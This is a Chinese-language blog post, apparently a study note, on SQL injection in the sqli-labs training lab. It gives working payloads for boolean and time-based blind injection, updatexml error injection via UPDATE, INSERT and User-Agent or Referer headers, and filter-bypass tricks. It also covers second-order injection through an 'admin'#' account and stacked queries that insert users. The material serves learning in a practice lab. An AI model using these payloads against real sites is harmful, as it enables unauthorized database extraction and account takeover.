web入门_SQL注入_(sqli-labs)

SQL注入

一、布尔盲注

前置知识:

length(str):返回字符串长度
left(str,n):截取长度为n个字符(从左到右)
substr(str,n1,n2):从n1开始截取长度为n2个字符(可以通过substr(str,n1,1)截取第n个)
lilmit 0,1:从0开始,截取后一位

·

思路:因为没回显,可以通过 1 and 1页面显示正常和1 and 0页面显示不正常正常,进而可以判断出我们猜的是否正确;

·

例子:sqli-labs第五关

解题过程:

1、求数据库字长

?id=1' and (length(database()))=*--+通过爆破*选区

image-20240130213619062

image-20240130213626980

​ 可知*为8时候页面显示正常,则当前数据库长度为 8;

payload:?id=1' and (length(database()))=8--+

·

2、求数据库名字

?id=1' and (left(database(),*))='*'--+ //*从1开始;

或者?id=1' and (substr(database(),*,1))='*'--+ //*从1开始;

后者更快一些,可以爆破一次就出来了,前者要每爆出一个字母就要手动插入更新一下已爆出的字母;

image-20240130214044779

可以爆出当前库名字为:security

·

3、求数据库表的个数

?id=1'and (select count(table_name) from information_schema.tables where table_schema=database())=*--+
​ 添加count()来求表的个数,跟求长度的爆破过程一样,求出来表的个数为4个

·

4、求各个表的字长

?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit *,1))=*--+ ——第一个*从0开始;
​ 用limit *,1是因为有多个表,当limit 0,1就是求第一个表长度,limit 1,1就是求第二个表的长度;

求出各个表的长度:
(1)长度6 (2)长度8 (3)长度7 (4)长度5

·

5、求各个表的名字

?id=1'and (substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),*,1))='*'--+ //limit也要手动改一下0~3四个表
​ 用limit *,1也是因为有多个表;

各个表的名字:
(1)emails (2)referers (3)uagents (4)users

·

6、求各个表所对应的列的个数

?id=1'and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=*--+

​ 这里是求emails表所有的列个数

每个表对应的列数:
(1)2个列 (2)3个列 (3)4个列 (4)3个列

·

7、求各个列的名字(求各个列的字长省略了)

?id=1'and (substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),*,1))='*'--+
各个列的名字:
(1)id ,email_id (2)id,referer,ip_address (4).... (5)....

·

8、求表中的字段数目

?id=1' and (select count(id) from emails)=*--+
这里我是求emails表中字段数,这里的id换成email_id也行;

求某表中某字段的数量:
(1)emails表的字段数:8

·

9、求指定字段的名字

?id=1' and substr((select id from emails limit *,1),*,1)='*'--+
emails表中id字段的名字
(1)id1=1,id2=2.id3=3...... 一共有8个id

·

·

二、延时盲注

这一关没报错信息,但是有正确信息you are in...显示,所以这一关用布尔和延时都行;如果输入报错信息和正确信息全部都显示的页面都是一样的,就不能用布尔来判断对错,只能用延时盲注通过数据包响应时间判断对错;——sqli-labs第九关就是用延时盲注;

前置知识:

1.if(判断语句,x1,x2):当判断语正确执行x1,否则执行x2;
2.sleep(int n):休眠n秒;

·

思路:(当数据包正常响应延迟为1s)

通过if(sql判断语句,sleep(int n),0)判断语句和时间延长可以来判断出我们猜测的sql语句是否正确,当猜测正确时候,执行sleep()函数,数据包反应的时间就会延迟变成n+1秒,猜测错误则为1s。其余判断的过程与布尔盲注一样;

·

先用id=1' or if(1=1,sleep(1),0)--+看看 有没有产生延迟,若无延迟则不是延迟盲注

这里用or是无论id参数字符型还是数字型都可以执行if(1=1,sleep(1),0)来判断是否为延迟盲注;

若用and的话,数据库中参数id必须要有1这个值,所以解题过程中类似猜不到username参数的值,可以用or;

·

例子:sqli-labs第八关

解题过程

1、求数据库字长

为了更加直观的看到延迟,我设置成100s

?id=1' and if(length(database())=*,sleep(100),0)--+

然后看状态码,此时为8时,状态码还没显示,说明数据包还没返回来,说明猜测字长为8;

image-20240201124026418-1706769690739-1

数据库名字字节:8

·

2、求数据库名字

?id=1' and if(substr(database(),*,1)='*',sleep(100),0)--+

通过状态码进行排序

image-20240201123637985
或者用ascii码来表示(爆破时候更方便,防止字典不完整)
?id=1' and if(ascii(substr(database(),*,1))=*,sleep(100),0)--+

把ascii码转为字符为:security

image-20240201123941363 当前库名字为:security

·

3、求数据库表的个数

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=*,sleep(100),0)--+

image-20240201124629118 表个数:4个

·

4、求各个表的字长

?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit *,1))=*,sleep(100),0)--+

image-20240201124939769 各个表的长度:
(1)长度6 (2)长度8 (3)长度7 (4)长度5

·

5、求各个表的名字

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),*,1))=*,sleep(100),0)--+ *//limit ,1星号手动改,代表第n个表的名字

第一个表的名字的六个个ascii码对应的emails

image-20240201141923127 各个表的名字:
(1)emails (2)referers (3)uagents (4)users

·

6、求各个表所对应的列的个数

?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='emails')=*,sleep(100),0)--+
image-20240201142423901

每个表对应的列数
(1)2个列 (2)3个列 (3)4个列 (4)3个列

·

7、求各个列的名字(求各个列的字长省略了)

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),*,1))=*,sleep(100),0)--+ *//limit ,1星号手动改,代表第n列的名字
image-20240201142706102

各个列的名字
(1)id ,email_id (2)id,referer,ip_address (4).... (5)....
·

8、求表中的字段数目

?id=1' and if((select count(id) from emails)=*,sleep(100),0)--+** image-20240201142850319求某表中某字段的数量
(1)emails表的字段数:8

·

9、求指定字段的名字

*?id=1' and if(ascii(substr((select id from emails limit 0,1),*,1))=*,sleep(100),0)--+****//limit ,1星号手动改,代表第n个字段的id值

当limit 0,1时对应第一个id的ascii码为49,转十进制为1;

image-20240201143155536

当limit 1,1时对应第二个id的ascii码为50,转十进制为2;

image-20240201143224354 emailes表中id字段的名字
(1)id1=1,id2=2.id3=3......
·

·

三、报错注入

前提源码中需要有**$result=mysql_query($sql,$conn) or die(mysql_error());****mysql_error()**这样的报错函数;

·

前置知识:

updatexml(1,concat(0x7e,(SELECT database()),0x7e),1):通过这个来进行报错回显出数据库信息

·

例子:sqli-labs第一关(select)

思路:通过updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)进行回显报错出数据库信息;

·

解题过程:

1、爆数据库名字:

and(select updatexml(1,concat(0x7e,(select database())),0x7e))

image-20240201152905198

payload:?id=1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))--+

·

2、爆表名:

and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

image-20240201152859346

payload:?id=1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

·

3、爆列名:

and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))

image-20240201153016363

payload:?id=1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="emails")),0x7e))--+

·

4、爆数据:

and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

image-20240201153147597

payload:?id=1'and(select updatexml(1,concat(0x7e,(select group_concat(id)from emails)),0x7e))--+

·

·

例子:sqli-labs第十七关(updata)(密码重置)

思路:这一关是密码重置,而且要先输入存在的用户名和要修改的密码,这个过程是对密码进行更新过程,所以对密码下手,而且这个过程是updata过程,不是select过程,所以联合、延时和布尔用不了,考虑报错盲注,在update语句中闭合操作;

image-20240201172703542

可以看出得在密码下手,在用户名中下手没用;

·

解题过程:

passwd=asd' and updatexml(1,concat(0x7e,(SELECT+database()),0x7e),1)--+

image-20240201172302294

后面跟前面的解题过程一样;

·

·

例子:sqli-labs第十八关(insert)(UA头)

image-20240201175912940

image-20240201175841375

思路:题目给出IP地址,看到源码UA头用sql插入insert,并且有三个参数,利用闭合+报错盲注;并且这题前提还得账号密码正确才能进行到insert的插入功能;

·

解题过程:

1、源代码:

INSERT INTO 'security'.'uagents' ('uagent', 'ip_address', 'username') VALUES ('$uagent', '$IP', $uname)

·

2、以$uagent为对象来闭合VALUES():

VALUES ('$uagent', '$IP', $uname)

VALUES ('1,2,3)#', '$IP', $uname)——>VALUES ('1,2,3)#——>VALUES ('1',2,3)#闭合完成

变成了

INSERT INTO 'security'.'uagents' ('uagent', 'ip_address', 'username') VALUES ('1', 2, 3)2和3的位置可以注入报错(这里相当于'1',2,3分别赋值给uagent,ip_address,username)

·

3、注入报错:

INSERT INTO 'security'.'uagents' ('uagent', 'ip_address', 'username') VALUES ('1', 2, updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))

爆出数据库信息

image-20240201183413486

payload:1',2,updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#

·

·

例子:sqli-labs第十九关(insert)(referer)

当我们输入的账号密码不正确时候只返回ip:

image-20240201193956343

当我们输入账号密码正确时候返回ip和referer

image-20240201194031056

测试UA头和密码都不存在注入,尝试referer报错注入,过程跟上面UA头报错注入一样,只不过这里只有两个参数ip和referer;

payload:1',updatexml(1,concat(0x7e,(SELECT database()),0x7e),1))#

四、sql注入绕过过滤

1.注释符过滤(sqli-labs二十三关)

思路:正常情况是闭合后把后面剩余的引号要注释,若没注释符了可以自行再加一个引号对后面剩余的引号进行闭合,可以通过加个or 或者and来形成 语句 or ‘’(相当于语句 or 1

·

解题过程:

1、测试闭合:

确定单引号报错

image-20240202153442601

通过or '闭合成功

image-20240202153705925

2、构造sql注入语句

报错注入?id=1' or updatexml(1,concat(0x7e,(SELECT+database()),0x7e),1) or '

image-20240202153904588

延迟注入?id=1' or if(length(database())=8,sleep(100),0) or '

image-20240202154101002

·

2、or和and过滤

    1、大小写变形:将原本的 or 和 and 替换为:Or、oR、And、AND、aND、aNd等等。

    2、转换编码输入:将 or 和 and 使用hex,urlencode等编码方式进行转换后在输入。

    3、添加注释:例如:/*or*/

    4、双写绕过:例如:oorr,aandnd 等。

    5、可以使用%26%26代替and。%26 代表字符 '&' 。有时候&&不能用但是可以使用%26%26反正就这两个轮换着试验,哪个可行用哪个。

    6、利用符号:and替换为&&、or替换为||

·

3、空格过滤

一般过滤空格,建议用报错注入

 	1、/**/(注释绕过)
    2、%09 Tab键(水平)
    3、%0a 新建一行
    4、%0c 新的一页
    5、%0d return 键
    6、%0b Tab键(垂直)
    7、%a0 空格
    8、() 绕过,主要通过括号去将某些语句独立起来,这样就不需要空格了。

·

例如利用空格绕过:

爆表名:

(updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23

'

4、引号过滤

通过宽字节绕过%df(�)

有时候可以通过函数利用转义字符\把单引号'过滤掉变成\',这时候在单引号前加%df(�)宽字节(宽字节占两字节,\占一字节,所以�'可以把转义字符\覆盖掉);
https://blog.csdn.net/qq_42181428/article/details/105061424

·

5、等号过滤

用like来替代=

·

·

五、二次注入

例子:sqli-labs第二十四关

·

二次注入原理:

1、先插入一段恶习代码;
	(1)后端(PHP)代码对语句进行了转义
	(2)保存进数据库(mysql)时没有转义,是原语句
2、再利用这段恶意代码;

·

思路:注册一个有管理员名字一样且后面加上引号闭合和注释符的名字(admin'#),后面可以通过修改密码利用updata进行闭合,变成对admin进行密码修改(此时已经通过身份验证了)

update users set password='123' where username='admin '#'

·

解题过程:

1、插入恶意语句

先注册一个账号为admin'#

2、利用恶意语句

修改密码时候已经通过身份验证

update users set password='123' where username='admin '#'

通过'#相当于对admin进行密码修改

update users set password='123' where username='admin '

·

·

六、堆叠注入

·

原理:类似mysqli_multi_query()函数就支持多条sql语句同时执行。因此可以通过构造自己的sql语句对数据库进行增删改查(类似insert、updata、delete语句)

insert into users(id,username,password) value (12,'admin','abc123')

updata users set id='1',username='admin',password='abc123'

或者指定条件(修改用户名为admin的密码变为abc123)

updata users set password='abc123' where username='admin'

·

解题过程:

1、形成闭合

?id=1')--+

2、插入构造语句

?id=1') ;insert into users(id,username,password) values('17','aaa','bbb');--+

posted @ 2024-02-04 02:28  Sunrise_P  阅读(36)  评论(0)    收藏  举报